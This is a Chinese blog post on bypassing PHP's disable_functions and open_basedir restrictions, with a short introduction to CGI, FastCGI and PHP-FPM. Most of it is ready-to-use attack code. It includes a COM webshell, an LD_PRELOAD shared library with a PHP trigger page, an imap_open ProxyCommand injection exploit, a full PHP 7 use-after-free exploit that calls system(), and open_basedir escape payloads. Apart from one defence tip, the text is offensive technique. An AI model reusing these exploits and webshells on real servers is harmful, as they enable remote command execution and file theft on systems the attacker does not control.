目录
  1. 1. FastCGI & CGI & FPM
    1. 1.1. PHP的连接模式
    2. 1.2. CGI&FastCGI
    3. 1.3. PHP-FPM
  2. 2. disable_functions
    1. 2.1. disable_functions 简介
    2. 2.2. 黑名单 Bypass
    3. 2.3. Windows系统组件COM Bypass
    4. 2.4. LD_PRELOAD Bypass
    5. 2.5. imap_open Bypass
    6. 2.6. PHP-FPM Bypass
    7. 2.7. 后端组件漏洞(imagemagick、GhostScript 、bash 和shellshock)Bypass
    8. 2.8. php7-gc-bypass (PHP 7.1-7.3)
    9. 2.9. PHP 7.4 FFI Bypass
  3. 3. open_basedir
    1. 3.1. 命令执行函数 Bypass
    2. 3.2. symlink()函数 Bypass
    3. 3.3. glob://伪协议 Bypass
    4. 3.4. chdir()与ini_set() Bypass
disable_functions & open_basedir

FastCGI & CGI & FPM

PHP的连接模式

PHP中连接模式主要有以下三种

apache2-module模式
这种模式下,是将PHP当做Apache的一个模块,此时PHP就是Apache中的一个DLL文件或SO文件。
在phpStudy中,非nts的模式就是默认以apache2-module为连接模式。

CGI模式
CGI连接模式下,PHP是作为一个独立的进程,如单独运行一个php-cgi.exe的进程,而此时Web服务器也是独立的一个进程如运行apache.exe。
当Web服务器收到HTTP请求时,就会去调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给CGI进程,CGI进程拿到内容就会去解析对应PHP文件,得到的返回结果再返回给Web服务器,最后再由Web服务器返回到客户端。
但由于CGI模式下,每次客户端发起请求都需要建立和销毁进程,从而导致很大的资源消耗。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。因此,也就诞生了FastCGI模式。

FastCGI模式
FastCGI模式是CGI模式的优化升级版,主要解决了CGI模式性能不佳的问题。
FastCGI其实是一个协议,是在CGI协议上进行了一些优化。众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器能够保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等,而这些改进正是FastCGI所提供的。
简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高。

如何快速判断PHP连接模式?
phpinfo中的 Server API 字段值

apache2-module模式:Apache 2.0 Handler
CGI模式:: CGI/FastCGI
FastCGI模式:FPM/FastCGI

下面直接引用 @Hpdoger 师傅的 blog 里面的例子 从一道CTF学习Fastcgi绕过姿势 来简介三者。

举个例子,如果我们请求index.php,根据配置文件,Web Server知道这个不是静态文件,需要去找 PHP 解析器来处理,那么他会把这个请求简单处理,然后交给PHP解析器。Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器

协议分析可参考P牛的博客:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

CGI&FastCGI

CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种工具。WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST数据、HTTP header都会有。所以,CGI就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。

FastCGI其实是一个协议,和HTTP协议一样,都是用于数据交互的一个通道。FastCGI的工作原理如下:

1、Web Server启动时载入FastCGI进程管理器(Apache Module或IIS ISAPI等)
2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可建多个php-cgi),并等待来自Web Server的连接。
3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。
4、FastCGI子进程完成处理后,将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待,并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。

PHP-FPM

FPM(php-fastcgi program manager)顾名思义,这是一个PHP专用的 fastcgi 管理器。也就是说,PHP-FPM 是对于 FastCGI 协议的具体实现,他负责管理一个进程池,来处理来自Web服务器的请求。目前,PHP5.3版本之后,PHP-FPM是内置于PHP的。因为PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理。所以就出现了一些能够调度 php-cgi 进程的程序,比如说由lighthttpd分离出来的spawn-fcgi。同样,PHP-FPM也是用于调度管理PHP解析器php-cgi的管理程序。

disable_functions

disable_functions 简介

disable_functions的起源:php为了防止一些危险函数执行给出的配置项,但是默认情况下为空

php官方认为:哪些函数存在风险由开发者自行决定,否则可能影响项目正常运行。
所以有些开发者自己鼓捣了一些非权威危险函数列表,比如
system、shell_exec、exec、passthru、phpinfo等

本地为 MacOS + MAMP pro 环境。

btw,其间发现 MAMP 文件夹内含有很多的 php.ini 。但是我先创建了一个 phpinfo, 直接查找值 Loaded Configuration File 所含有的值,这将帮助我找到真正控制的 php.ini

因此我发现 MAMP php.ini 的位置是
/Library/Application Support/appsolute/MAMP PRO/conf/php7.3.7.ini

可以发现默认情况下 disable_functions 为空

尝试修改 php.ini 中 disable_functions 属性

disable_functions = symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec

发现 MAMP 的 php.ini 玩不懂,更改了之后又变回去…遂直接使用 win 虚拟机的 phpstudy

结果:根据 disable_functions 属性的值,决定了蚁剑是否能连接上或者连接上之后是否能够执行命令。

注意:eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。

黑名单 Bypass

@l3m0n 师傅的 Github 上一个项目简述了 Bypass 一个各种方式突破Disable_functions达到命令执行的shell

disable_functions其实是一个黑名单机制, 寻找其遗漏过滤的函数即可。

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

需要注意,通常会被遗漏过滤的函数有popen(),proc_open(),pcntl_exec()

Windows系统组件COM Bypass

php.ini中配置 com.allow_dcom ,若未开启则将前面的;分号去掉

; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true

然后在php/ext/里面查找是否存在php_com_dotnet.dll这个文件。再到php.ini中查看是否存在extension=php_com_dotnet.dll这项,有的话去掉注释开启,否则直接添加上去即可。

首先 disable_functions禁用了函数,上传普通 shell 后无法执行命令

上传 comshell.php

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

创建COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令,从而绕过disable_functions禁用PHP命令执行函数的限制

防御方法
彻底的解决方案是直接删除System32目录下wshom.ocx文件。

LD_PRELOAD Bypass

跟着 @mi1k7ea 师傅的文章进行复现

LD_PRELOAD是Linux中的环境变量,可以设置成一个指定库的路径,动态链接时较其他库有着更高的优先级,允许预加载指定库中的函数和符号覆盖掉后续链接的库中的函数和符号。即可以通过重定向共享库函数来进行运行时修复。这项技术可用于绕过反调试代码,也可以用作用户机rootkit。

  • 方法一: 劫持getuid()

    前提是在Linux中已安装并启用sendmail程序。

php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,而/usr/sbin/sendmail会调用getuid()。如果我们能通过LD_PRELOAD的方式来劫持getuid(),再用mail()函数来触发sendmail程序进而执行被劫持的getuid(),从而就能执行恶意代码了。

细化一下:

  • 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;
  • 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;
  • 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;
  • 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

攻击利用:

编写test.c,劫持getuid()函数,获取LD_PRELOAD环境变量并预加载恶意的共享库,再删除环境变量 LD_PRELOAD,最后执行由EVIL_CMDLINE环境变量获取的系统命令:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

当这个共享库中的getuid()被调用时,尝试加载payload()函数执行命令。
接着用以下语句编译C文件为共享对象文件:
gcc -shared -fPIC test.c -o test.so

最后编写test.php:

 <?php   
echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

这里接受3个参数,一是cmd参数,待执行的系统命令;二是outpath参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意web是否有读写权限、web是否可跨目录访问、文件将被覆盖和删除等几点;三是sopath参数,指定劫持系统函数的共享对象的绝对路径。

这里通过putenv()函数将LD_PRELOAD环境变量设置为恶意的test.so、将自定义的EVIL_CMDLINE环境变量赋值为要执行的命令;然后调用mail()函数触发sendmail(),再通过sendmail()触发getuid()从而使恶意的test.so被加载执行;最后再输出内容到页面上并删除临时存放命令执行结果的文件。

  • 方法二:劫持启动进程

    第一种方法是劫持getuid(),是较为常用的方法,但存在缺陷:

    • 目标Linux未安装或为启用sendmail;
    • 即便目标可以启用sendmail,由于未将主机名添加进hosts中,导致每次运行sendmail都要耗时半分钟等待域名解析超时返回,www-data也无法将主机名加入hosts;

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。这种场景与 C++ 的构造函数简直神似!

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为。

此外,我通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv(“LD_PRELOAD”),这在大部份 linux 发行套件上的确可行,但在 centos 上却无效,究其原因,centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。所以,我得找一种比 unsetenv() 更直接的删除环境变量的方式。是它,全局变量 extern char** environ!实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

接着用以下语句编译C文件为共享对象文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

bypass_disablefunc.php,代码和test.php一致:

 <?php   
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

访问bypass_disablefunc.php,输入参数设置LD_PRELOAD环境变量和要执行的命令的值,页面直接返回命令执行结果

imap_open Bypass

imap_open()函数需安装imap扩展,用于打开连接某个邮箱的IMAP流

限制:php.ini 中 imap.enable_insecure_rsh 为 On

原理:

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

简单地说,就是imap_open()函数会调用到rsh的程序,而该程序中会调用execve系统调用来实现rsh的调用,其中的邮件地址参数是由imap_open()函数的mailbox参数传入,同时,由于rsh命令是ssh命令的符号链接,所以当我们利用ssh的-oProxyCommand参数来构造恶意mailbox参数时就能执行恶意命令。

exp

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

PHP-FPM Bypass

通过Antsword看绕过disable_functions
从蚁剑插件看利用PHP-FPM绕过disable_functions

简单地说,就是利用WebShell去连接本地的PHP-FPM端口,让其另起一个不以php.ini为配置的PHP程序,然后通过连接上传的代理文件直接绕过了原本的PHP程序,从而绕过disable_functions的限制。

后端组件漏洞(imagemagick、GhostScript 、bash 和shellshock)Bypass

见文:https://www.meetsec.cn/index.php/archives/45/

php7-gc-bypass (PHP 7.1-7.3)

exploits: https://github.com/mm0r1/exploits/tree/master/php-json-bypass

<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

PHP 7.4 FFI Bypass

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

大致调用为

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

open_basedir

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名

命令执行函数 Bypass

open_basedir对命令执行函数没有限制

<?php
system('cat /home/1.txt');
?>

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

glob://伪协议 Bypass

  • 方法一: DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
  • 方法二: opendir()+readdir()+glob://

opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>

chdir()与ini_set() Bypass

测试demo

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

payload

mkdir('/tmp/test');chdir('/tmp/test/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));

refer:
https://www.mi1k7ea.com
https://mochazz.github.io
https://github.com/l3m0n/Bypass_Disable_functions_Shell

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/12/10/Bypass-disable-functions-open-basedir/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论